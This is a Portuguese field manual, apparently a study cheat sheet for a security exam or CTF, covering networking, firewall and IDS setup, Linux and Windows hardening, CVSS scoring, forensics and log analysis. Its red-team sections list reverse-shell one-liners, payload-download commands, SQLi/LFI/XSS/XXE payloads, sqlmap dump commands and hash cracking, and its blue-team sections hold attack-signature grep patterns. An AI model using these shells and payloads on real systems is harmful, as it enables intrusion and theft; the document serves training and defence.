Manual de Campo — Segurança Ofensiva & Defensiva

Referência rápida de operações

Comandos, filtros e checklists para infraestrutura, resposta a incidentes e CTF. Use a busca da lateral — ela filtra tudo instantaneamente. Cada bloco tem botão de copiar.

◍ M1 Infra ◍ M2 Assessment (offline) ◍ M3 Forense ◍ M4 Blue ◍ M5 Red
Nenhum bloco corresponde ao filtro. Pressione Esc para limpar.

00Redes, placas de rede & VLANs

Configuração de IP, interfaces e VLANs (802.1Q) em Linux, Windows e pfSense. Base para praticamente todo o Módulo 1.

Identificar interfaces (placas de rede)

Linux — listar NICs, links e rotas

ip a                      # endereços de todas as interfaces
ip link show             # estado up/down das NICs
ip route                 # tabela de rotas / gateway default
ethtool eth0            # velocidade, link, driver da placa
lspci | grep -i net      # hardware de rede físico
nmcli device status        # NetworkManager (Ubuntu desktop)

Nomes comuns: eth0, ens33, enp0s3 (nomenclatura previsível do systemd).

Windows — interfaces e IP

ipconfig /all                              # tudo: IP, MAC, DNS, DHCP
Get-NetAdapter                             # PowerShell: NICs e status
Get-NetIPAddress | ft InterfaceAlias,IPAddress
netsh interface show interface            # nomes das interfaces

Configurar IP estático

Ubuntu Server — Netplan (/etc/netplan/*.yaml)

# /etc/netplan/01-netcfg.yaml
network:
  version: 2
  ethernets:
    ens33:
      dhcp4: no
      addresses: [192.168.10.5/24]
      routes:
        - to: default
          via: 192.168.10.1
      nameservers:
        addresses: [1.1.1.1, 8.8.8.8]
# aplicar:
sudo netplan apply

Windows — PowerShell / netsh

# PowerShell
New-NetIPAddress -InterfaceAlias "Ethernet0" `
  -IPAddress 192.168.10.6 -PrefixLength 24 `
  -DefaultGateway 192.168.10.1
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" `
  -ServerAddresses 1.1.1.1,8.8.8.8

# netsh (equivalente)
netsh interface ip set address "Ethernet0" static 192.168.10.6 255.255.255.0 192.168.10.1

VLANs (802.1Q) — provável na prova

VLAN = separação lógica de redes no mesmo switch físico. Porta access pertence a 1 VLAN (sem tag). Porta trunk carrega várias VLANs com tag 802.1Q. O ID da VLAN vai no tag.

Linux — criar interface VLAN (ex.: VLAN 20 sobre ens33)

# carregar módulo (geralmente já ativo)
sudo modprobe 8021q
# criar sub-interface com tag da VLAN 20
sudo ip link add link ens33 name ens33.20 type vlan id 20
sudo ip addr add 192.168.20.5/24 dev ens33.20
sudo ip link set ens33.20 up
# verificar
ip -d link show ens33.20

Ubuntu Server — VLAN persistente no Netplan

network:
  version: 2
  ethernets:
    ens33: {dhcp4: no}
  vlans:
    vlan20:
      id: 20
      link: ens33
      addresses: [192.168.20.5/24]

pfSense — criar VLAN (via console/GUI)

# GUI: Interfaces > Assignments > VLANs > Add
#   Parent interface: em0 (a NIC física / trunk)
#   VLAN Tag: 20   |   Description: SERVIDORES
# Depois: Interfaces > Assignments > adicionar a VLAN como nova interface
# Habilitar, definir IP estático, e criar regras de firewall para ela.
# Windows — VLAN normalmente é configurada no driver da NIC ou no switch,
# não no SO. Em Hyper-V: Set-VMNetworkAdapterVlan -VMName X -Access -VlanId 20
Subnet rápido: /24 = 256 IPs (254 usáveis) · /25 = 128 · /26 = 64 · /27 = 32 · /28 = 16 · /30 = 4 (2 usáveis, ideal p2p).

1apfSense

Firewall/roteador. Regra de ouro: default deny — só passa o que for explicitamente permitido. Ordem das regras importa (avalia de cima para baixo, primeira que casar vence).

Setup inicial

# No console após boot:
# 1) Assign Interfaces  -> definir WAN (em0) e LAN (em1)
# 2) Set interface IP    -> LAN ex: 192.168.1.1/24, habilitar DHCP
# 3) Acessar GUI: https://192.168.1.1  (admin / pfsense)
# Opção 8 no console = shell; pfSsh.php para comandos internos

Regras de firewall (Firewall > Rules)

Cada interface tem sua aba. Regras são stateful e avaliadas por interface, no sentido de entrada daquela interface. LAN já vem com "allow LAN to any" por padrão — remova/restrinja para hardening.

ObjetivoActionInterfaceSourceDest / Porta
Bloquear tudo por padrãoBlock/RejectLAN (última regra)anyany
Liberar web para foraPassLANLAN netany : 80,443
Liberar DNSPassLANLAN netany : 53
Publicar servidor web (port forward)NATWANanyWAN addr:443 → server:443
Bloquear IP atacanteBlockWAN (topo)IP/aliasany

NAT & Aliases

# Port forward: Firewall > NAT > Port Forward > Add
#   Interface WAN | Proto TCP | Dest WAN address | Port 443
#   Redirect target IP: 192.168.1.10 | Redirect port 443
#   (cria regra de firewall associada automaticamente)
# Outbound NAT: Firewall > NAT > Outbound (Automatic p/ maioria)
# Aliases: Firewall > Aliases — agrupar IPs/portas p/ reusar em regras
#   ex: alias BLOCKLIST com IPs maliciosos, usar em 1 regra Block
Diagnóstico: Diagnostics > Ping / Test Port / States. Ver logs em tempo real: Status > System Logs > Firewall. Pacotes extra: System > Package Manager (Snort, Suricata, pfBlockerNG).

1bSnort / Suricata (IDS/IPS)

Detecção de intrusão baseada em assinaturas. No pfSense é um pacote; standalone você edita rules e lê alertas.

Anatomia de uma regra

alert tcp any any -> $HOME_NET 22 ( \
  msg:"SSH brute-force suspeito"; \
  flags:S; \
  threshold:type both, track by_src, count 5, seconds 30; \
  sid:1000001; rev:1; )
# action proto src_ip src_port -> dst_ip dst_port ( opções )
# actions: alert | log | pass | drop(IPS) | reject

Snort — operação (CLI)

snort -V                              # versão
snort -T -c /etc/snort/snort.conf     # testar config
snort -q -A console -c /etc/snort/snort.conf -i eth0   # rodar, alertas no console
snort -r captura.pcap -c snort.conf -A full            # analisar pcap offline
tail -f /var/log/snort/alert          # ler alertas

Suricata — operação

suricata -T -c /etc/suricata/suricata.yaml   # testar
suricata -c /etc/suricata/suricata.yaml -i eth0
suricata -r captura.pcap -l ./out            # offline p/ pcap
tail -f /var/log/suricata/fast.log            # alertas resumidos
jq . /var/log/suricata/eve.json               # eventos detalhados (JSON)
No pfSense: Services > Snort/Suricata > Interfaces > Add → escolher WAN/LAN → aba Categories (habilitar rulesets) → Rules (habilitar SIDs) → marcar "Block Offenders" para modo IPS. Alertas na aba Alerts.

1cUbuntu / Linux Server — hardening & administração

Criação de usuários, políticas, sudo, SSH, firewall e serviços. O núcleo do hardening Linux.

Usuários & grupos

sudo adduser joao                     # cria usuário + home + senha (interativo)
sudo useradd -m -s /bin/bash joao      # equivalente não-interativo
sudo passwd joao                       # definir/trocar senha
sudo usermod -aG sudo joao             # dar sudo (grupo sudo)
sudo deluser joao                      # remover (--remove-home p/ apagar home)
sudo usermod -L joao                    # travar conta | -U destrava
sudo groupadd equipe ; sudo gpasswd -a joao equipe
id joao ; groups joao                    # conferir grupos
awk -F: '$3==0{print $1}' /etc/passwd  # achar contas UID 0 (backdoor!)

Política de senha & expiração

# /etc/login.defs — política padrão p/ novos usuários
PASS_MAX_DAYS   90
PASS_MIN_DAYS   1
PASS_WARN_AGE   7
# chage — por usuário
sudo chage -M 90 -m 1 -W 7 joao
sudo chage -l joao                     # ver expiração
sudo chage -d 0 joao                    # forçar troca no próximo login
# Complexidade: /etc/security/pwquality.conf (pacote libpam-pwquality)
minlen = 12
minclass = 3     # mín. de tipos de caractere (maiúsc/minúsc/dígito/símbolo)

SSH hardening (/etc/ssh/sshd_config)

PermitRootLogin no
PasswordAuthentication no        # só chave (se aplicável)
PubkeyAuthentication yes
Port 2222                        # trocar porta padrão
MaxAuthTries 3
AllowUsers joao maria            # whitelist de usuários
X11Forwarding no
# aplicar:
sudo systemctl restart ssh

Firewall (UFW / nftables)

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 2222/tcp            # SSH na porta nova
sudo ufw allow 443/tcp
sudo ufw enable ; sudo ufw status numbered
sudo ufw delete 3                  # remover regra nº 3
# iptables (baixo nível):
sudo iptables -L -n -v ; sudo iptables -A INPUT -p tcp --dport 22 -j DROP

fail2ban (anti brute-force)

sudo apt install fail2ban
# /etc/fail2ban/jail.local
[sshd]
enabled = true
port    = 2222
maxretry = 4
bantime = 1h
findtime = 10m
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd    # ver IPs banidos

Serviços, SUID & auditoria

systemctl list-units --type=service --state=running   # o que roda
sudo systemctl disable --now cups        # desligar serviço inútil
find / -perm -4000 -type f 2>/dev/null   # binários SUID (revisar!)
find / -writable -type d 2>/dev/null      # dirs graváveis
sudo apt install auditd ; sudo systemctl enable --now auditd
sudo ausearch -m USER_LOGIN --success no   # logins falhos via auditd
Checklist rápido: root SSH off · senha forte + expiração · UFW default deny · fail2ban · serviços desnecessários off · SUID revisados · sem UID 0 extra · updates (apt update && apt upgrade) · umask 027.

1dWindows Server / Active Directory

Usuários, grupos, GPO, política de senha, firewall e roles. Comandos net, PowerShell e AD.

Usuários & grupos (local)

# net (clássico)
net user joao P@ssw0rd! /add
net user joao /active:yes
net localgroup Administrators joao /add
net user joao                       # detalhes da conta
net user joao /delete
# PowerShell
New-LocalUser -Name joao -Password (Read-Host -AsSecureString)
Add-LocalGroupMember -Group "Administrators" -Member joao
Get-LocalUser ; Get-LocalGroupMember Administrators

Active Directory (Domain)

# Promover servidor a Controlador de Domínio
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "corp.local" -InstallDns
# Usuários / grupos de domínio
New-ADUser -Name "Joao Silva" -SamAccountName joao `
  -AccountPassword (Read-Host -AsSecureString) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members joao
Get-ADUser -Filter * | ft Name,SamAccountName,Enabled
Search-ADAccount -LockedOut          # contas travadas

Política de senha & GPO

# Política via net (local / domínio default)
net accounts /minpwlen:12 /maxpwage:90 /minpwage:1 /uniquepw:5
net accounts /lockoutthreshold:5 /lockoutduration:30 /lockoutwindow:15
# GPO (Group Policy)
gpmc.msc                              # console de gerenciamento de GPO
gpupdate /force                     # aplicar GPOs agora
gpresult /r                         # quais GPOs se aplicam à máquina
secpol.msc                            # política de segurança local
# Caminhos GPO úteis:
#  Computer > Policies > Windows Settings > Security Settings > Account Policies
#  ...Local Policies > Audit Policy (habilitar auditoria de logon)

Firewall, serviços & auditoria

# Firewall (netsh + PowerShell)
netsh advfirewall set allprofiles state on
New-NetFirewallRule -DisplayName "Block Telnet" -Direction Inbound `
  -Protocol TCP -LocalPort 23 -Action Block
Get-NetFirewallRule | ? Enabled -eq True
# Serviços
Get-Service | ? Status -eq Running
Set-Service -Name RemoteRegistry -StartupType Disabled
sc.exe query state= all
# Auditoria (para gerar Event IDs 4624/4625 etc.)
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable

Hardening — pontos críticos

# Desabilitar SMBv1 (WannaCry/EternalBlue)
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Get-SmbServerConfiguration | select EnableSMB1Protocol
# Roles/Features
Get-WindowsFeature | ? Installed
Install-WindowsFeature Web-Server -IncludeManagementTools  # IIS
Uninstall-WindowsFeature ...       # remover o que não usa
Checklist: SMBv1 off · Firewall on (todos perfis) · política de senha + lockout · Defender ativo · contas/serviços desnecessários off · UAC on · updates · remover admins extras · auditoria de logon habilitada.

1eHardening de Web Server

Apache (apache2.conf / .conf do site)

ServerTokens Prod          # esconde versão
ServerSignature Off
TraceEnable Off
Options -Indexes           # sem listagem de diretório
# Headers (mod_headers):
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Strict-Transport-Security "max-age=31536000"
Header always set Content-Security-Policy "default-src 'self'"
# limitar métodos:
<LimitExcept GET POST HEAD> Require all denied </LimitExcept>
# WAF: a2enmod security2 (ModSecurity)

Nginx (nginx.conf / server block)

server_tokens off;         # esconde versão
autoindex off;             # sem listagem
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Strict-Transport-Security "max-age=31536000" always;
add_header Content-Security-Policy "default-src 'self'" always;
# bloquear métodos:
if ($request_method !~ ^(GET|POST|HEAD)$) { return 405; }
# TLS forte:
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
HeaderProtege contra
Strict-Transport-SecurityDowngrade p/ HTTP, SSL strip
Content-Security-PolicyXSS, injeção de recursos
X-Frame-OptionsClickjacking
X-Content-Type-OptionsMIME sniffing
Referrer-PolicyVazamento de URL

2CVSS 3.1 — pontuação de vulnerabilidades

Módulo offline: você identifica e classifica, não corrige. Decore as 8 métricas base. Calculadora: first.org/cvss/calculator/3.1.

Métricas base (o vetor)

MétricaSiglaValoresNota mental
Attack VectorAVN / A / L / PNetwork = pior (remoto)
Attack ComplexityACL / HLow = mais grave
Privileges RequiredPRN / L / HNone = mais grave
User InteractionUIN / RNone = mais grave
ScopeSU / CChanged = escapa do componente
ConfidentialityCH / L / Nimpacto em sigilo
IntegrityIH / L / Nimpacto em dados
AvailabilityAH / L / Nimpacto em disponibilidade

Faixas de severidade

ScoreSeveridade
0.0None
0.1 – 3.9Low
4.0 – 6.9Medium
7.0 – 8.9High
9.0 – 10.0Critical

Exemplos de vetor

# SQLi remota sem autenticação, dump total do banco
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N   -> 9.1 Critical

# XSS refletido (precisa a vítima clicar) — escapa p/ o navegador dela
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N   -> 6.1 Medium

# Privesc local (precisa já estar logado)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H   -> 7.8 High

Vetores de referência — prontos p/ classificar (offline)

VulnerabilidadeVetorNota
SQLi não-auth, dump total (C/I/A)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8
RCE pré-autenticaçãoAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8
Credencial hardcoded exposta remotamenteAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8
XSS refletidoAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N6.1
XSS armazenado (precisa conta p/ inserir)AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N5.4
IDOR — lê dados de outro usuárioAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N6.5
Privesc localAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H7.8
DoS remoto sem authAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H7.5
Não infle: se exige conta válida, PR não é N. Use S:C só quando o impacto sai do componente (XSS, SSRF, escape de sandbox). CVSS mede impacto técnico, não de negócio.
Reflexo: comece sempre por AV (é remoto?) e PR/UI (precisa de credencial/clique?). Isso já define ~70% da nota. Depois avalie o tripé C/I/A. Classifique também o tipo: SQLi, XSS, RCE, path traversal, IDOR, CSRF, deserialization, etc. Ao justificar, escreva uma linha por métrica — é onde estão os pontos parciais.

3aForense de memória — Volatility

Análise de dump de RAM. Volatility 3 não precisa de profile; o 2 precisa.

Volatility 3 (recomendado)

vol -f dump.raw windows.info          # SO, build
vol -f dump.raw windows.pslist         # processos
vol -f dump.raw windows.pstree         # árvore (pai/filho)
vol -f dump.raw windows.psscan         # inclui processos ocultos/mortos
vol -f dump.raw windows.cmdline        # linha de comando de cada proc
vol -f dump.raw windows.netscan        # conexões de rede
vol -f dump.raw windows.malfind        # código injetado / suspeito
vol -f dump.raw windows.dlllist --pid 1234
vol -f dump.raw windows.filescan       # arquivos em memória
vol -f dump.raw windows.hashdump       # hashes de senha (SAM)
vol -f dump.raw windows.registry.hivelist
# Linux: vol -f dump.raw linux.pslist / linux.bash (histórico!)

Volatility 2 (fallback)

vol.py -f dump.raw imageinfo          # descobrir o profile
vol.py -f dump.raw --profile=Win7SP1x64 pslist
vol.py ... pstree / netscan / cmdline / malfind / hashdump

Truque: flag escondida na RAM

strings dump.raw | grep -i "flag{"
strings -e l dump.raw | grep -i "CTF"    # -e l = UTF-16 (Windows)

3bForense de rede — PCAP

Wireshark (GUI) e tshark (CLI). Procure credenciais em protocolo texto, exfiltração e ferramentas de ataque.

Filtros de exibição do Wireshark

FiltroMostra
http.requestrequisições HTTP
http.request.method == "POST"POSTs (logins, uploads)
ip.addr == 10.0.0.5tráfego de/para um host
tcp.port == 21 || ftpFTP (creds em texto)
dnsconsultas DNS (exfil / C2)
tcp.flags.syn==1 && tcp.flags.ack==0port scan (muitos SYN)
frame contains "password"busca string no pacote

Clique direito no pacote → Follow > TCP Stream para ver a conversa inteira. File > Export Objects > HTTP para extrair arquivos transferidos.

tshark (linha de comando)

tshark -r cap.pcap -Y "http.request" -T fields -e ip.src -e http.host -e http.request.uri
tshark -r cap.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg
tshark -r cap.pcap -qz io,phs             # hierarquia de protocolos
tshark -r cap.pcap -qz conv,tcp           # conversas TCP
tshark -r cap.pcap --export-objects http,./out   # extrair arquivos
# NetworkMiner: extrai creds/arquivos/imagens automaticamente (GUI)

3cForense de disco & arquivos

# Sleuth Kit — analisar imagem de disco
mmls disk.img                    # tabela de partições / offsets
fls -r -o 2048 disk.img          # listar arquivos (inc. deletados *)
icat -o 2048 disk.img 1234        # extrair arquivo pelo inode
# Carving / arquivos embutidos
binwalk arquivo                   # identifica/extrai (-e) conteúdo embutido
foremost -i disk.img -o out       # recuperar por assinatura
exiftool imagem.jpg               # metadados (GPS, autor, software)
# Sempre útil
file desconhecido                 # tipo real do arquivo
strings -n 8 arquivo | less        # texto legível
xxd arquivo | head                 # hex dump (ver magic bytes)
sha256sum evidencia               # cadeia de custódia / integridade
Steganografia (comum em CTF): steghide extract -sf img.jpg · zsteg img.png · exiftool · comentário no fim do arquivo com strings.

4aBlue Team — logs Linux

ArquivoContém
/var/log/auth.log (Debian)SSH, sudo, logins
/var/log/secure (RHEL)idem
/var/log/syslogsistema geral
/var/log/apache2/, nginx/access.log, error.log
last / lastblogins ok / falhos (wtmp/btmp)
~/.bash_historycomandos do atacante
# brute force SSH
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
# login que teve SUCESSO (após tentativas = comprometido)
grep "Accepted" /var/log/auth.log
# uso de sudo
grep "sudo:" /var/log/auth.log
# criação de usuário / mudança
grep -E "useradd|new user|passwd changed" /var/log/auth.log
# top IPs de tentativas falhas
lastb | awk '{print $3}' | sort | uniq -c | sort -rn | head

4bBlue Team — logs Windows (Event IDs)

Event IDEventoPor que importa
4624Logon com sucessover Logon Type (3=rede, 10=RDP)
4625Falha de logonvários = brute force
4634 / 4647Logofftimeline de sessão
4672Privilégios especiais no logonlogon administrativo
4688Criação de processoo que foi executado
4720Conta de usuário criadapersistência
4732 / 4728Membro add a grupo adminescalada
7045Serviço instaladopersistência / malware
1102Log de auditoria LIMPOanti-forense (alerta!)
4104PowerShell ScriptBlockscripts maliciosos
4648Logon com credencial explícitarunas — movimento lateral
4698Tarefa agendada criadapersistência (cron do Windows)

Logon Types (campo do 4624/4625 — decore)

TypeSignificadoSinal de alerta
2Interativo (console local)acesso físico ao teclado
3Rede (SMB, compartilhamento)acesso a recurso pela rede
4Batch (tarefa agendada)execução automatizada
5Serviçoserviço iniciando
7Unlock (desbloqueio de tela)
8NetworkCleartextsenha trafegou em claro (IIS, básico)
9NewCredentials (runas /netonly)lateral com credencial alternativa
10RemoteInteractive (RDP)acesso remoto por área de trabalho
11CachedInteractivelogon com cache (offline do DC)
# PowerShell — consultar Event Log
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} -MaxEvents 50
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} |
  ? {$_.Message -match "Logon Type:\s+10"}      # só RDP
wevtutil qe Security /q:"*[System[(EventID=4625)]]" /f:text /c:20
# Padrão de brute force bem-sucedido: N x 4625 seguido de 4624 do mesmo IP
Fluxo de investigação: IP/origem do atacante → conta comprometida → 4688/4104 (o que executou) → 4720/7045 (persistência) → 4732 (escalada). Muitas flags pedem exatamente "qual IP", "qual usuário", "qual processo".

4cBlue Team — logs de servidor web

# top IPs por nº de requisições
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head
# assinaturas de ataque (SQLi, LFI, XSS, scanners)
grep -Ei "union.*select|or 1=1|\.\./|/etc/passwd|<script|base64_|cmd=" access.log
# scanners por User-Agent
grep -Ei "sqlmap|nikto|nmap|dirbuster|gobuster|hydra" access.log
# respostas 200 em URLs de ataque (deu certo!)
grep "admin" access.log | grep ' 200 '
# muitos 404 do mesmo IP = fuzzing de diretório
awk '$9==404{print $1}' access.log | sort | uniq -c | sort -rn

Formato padrão (combined): IP - user [data] "MÉTODO url HTTP" status tamanho "referer" "user-agent". Campo $1=IP, $9=status.

5aRed Team — recon & enumeração

# Nmap
nmap -sC -sV -oN scan.txt ALVO       # scripts default + versões
nmap -p- --min-rate 5000 ALVO          # todas as 65535 portas, rápido
nmap -sU --top-ports 20 ALVO           # UDP comuns
nmap --script vuln ALVO                # checagem de vulns conhecidas
# Diretórios / arquivos web
gobuster dir -u http://ALVO -w /usr/share/wordlists/dirb/common.txt -x php,txt
ffuf -u http://ALVO/FUZZ -w wordlist.txt -mc 200,301,302
# Subdomínios / vhosts
ffuf -u http://ALVO -H "Host: FUZZ.alvo.com" -w subs.txt -fs 0
# Web scanner
nikto -h http://ALVO
# SMB / serviços
enum4linux -a ALVO ; smbclient -L //ALVO -N

5bRed Team — exploração web

VulnPayload / teste
SQLi (auth bypass)' OR '1'='1'-- -
SQLi (union)' UNION SELECT null,version()-- -
LFI../../../../etc/passwd
LFI (PHP wrapper)php://filter/convert.base64-encode/resource=index.php
Command injection; id · | whoami · `id` · $(id)
XSS<script>alert(1)</script> · <img src=x onerror=alert(1)>
SSTI{{7*7}} → 49 ? · ${7*7}
XXE<!ENTITY x SYSTEM "file:///etc/passwd">
IDORtrocar id=1id=2 na URL/POST

sqlmap (automatizado)

sqlmap -u "http://ALVO/item?id=1" --batch --dbs
sqlmap -u "http://ALVO/item?id=1" -D loja --tables
sqlmap -u "http://ALVO/item?id=1" -D loja -T users --dump
sqlmap -r request.txt --batch          # a partir de request salvo do Burp

5cRed Team — reverse shells & transferência

Listener (na sua máquina)

nc -lvnp 4444
# ou rlwrap nc -lvnp 4444 (histórico + setas)

Reverse shells (no alvo) — troque IP/porta

# Bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# Python
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
# Netcat
nc -e /bin/bash 10.0.0.1 4444
# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.0.0.1',4444);..."

Estabilizar TTY (shell decente)

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z, depois:  stty raw -echo; fg  # Enter Enter
export TERM=xterm

Transferência de arquivos

# Servidor HTTP rápido (atacante)
python3 -m http.server 8000
# Baixar no alvo
wget http://10.0.0.1:8000/file    |   curl -O http://10.0.0.1:8000/file
# Windows
certutil -urlcache -f http://10.0.0.1:8000/f.exe f.exe
powershell iwr http://10.0.0.1:8000/f.exe -OutFile f.exe
# scp
scp arquivo user@host:/tmp/

5dRed Team — escalada de privilégios

Linux

sudo -l                       # o que posso rodar como root
find / -perm -4000 2>/dev/null  # binários SUID -> GTFOBins
getcap -r / 2>/dev/null         # capabilities
cat /etc/crontab ; ls -la /etc/cron*  # tarefas agendadas
uname -a                        # kernel (exploit?)
# automatizado: linpeas.sh / linenum.sh
# consultar GTFOBins p/ escapar de binário SUID/sudo

Windows

whoami /priv                    # privilégios (SeImpersonate!)
whoami /groups
Get-Service | ? {$_.StartType -eq 'Automatic'}
sc qc <servico>                  # binpath (unquoted path?)
# automatizado: winPEAS.exe / PowerUp.ps1
# senhas em: registro, arquivos de config, histórico do PowerShell
reg query HKLM /f password /t REG_SZ /s
GTFOBins / LOLBAS estão no GitHub (bloqueado na prova). Espelhe antes numa página pública sua os binários que você mais usa (ex.: find, vim, python, tar, nmap — todos com técnica de escape via SUID/sudo).

5eRed Team — criptografia & hashes

Regra de ouro: primeiro identifique o esquema, depois ataque. CyberChef (baixe offline) resolve a maioria de encoding.

Identificar & decodificar

# Encodings comuns
echo "aGVsbG8=" | base64 -d        # Base64 (termina em = )
echo "68656c6c6f" | xxd -r -p       # Hex
echo "uryyb" | tr 'A-Za-z' 'N-ZA-Mn-za-m'  # ROT13
# CyberChef: "Magic" detecta automaticamente base/hex/rot/XOR encadeados
# Cifra de substituição -> análise de frequência (quipqiup.com)

Quebra de hash

# identificar tipo pelo formato/tamanho
hashid '5f4dcc3b5aa765d61d8327deb882cf99'   # 32 hex = MD5
# John
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt
# Hashcat (-m = modo)  0=MD5 100=SHA1 1400=SHA256 1800=sha512crypt 3200=bcrypt
hashcat -m 0 -a 0 hashes.txt rockyou.txt
# hash de arquivo protegido -> john
zip2john x.zip > h ; rar2john x.rar > h ; ssh2john id_rsa > h

RSA & XOR (CTF)

# RSA com n pequeno: fatorar em factordb.com para achar p,q
# depois: d = inverso(e, (p-1)(q-1)) ; m = c^d mod n
# XOR single-byte: força bruta das 256 chaves
python3 -c "ct=bytes.fromhex('...'); [print(k, bytes(b^k for b in ct)) for k in range(256)]"
# chave conhecida em texto? XOR ct com known-plaintext revela a chave
Ferramentas públicas liberadas (sem login): cyberchef.org · factordb.com · dcode.fr · quipqiup.com · crackstation.net (hashes já quebrados).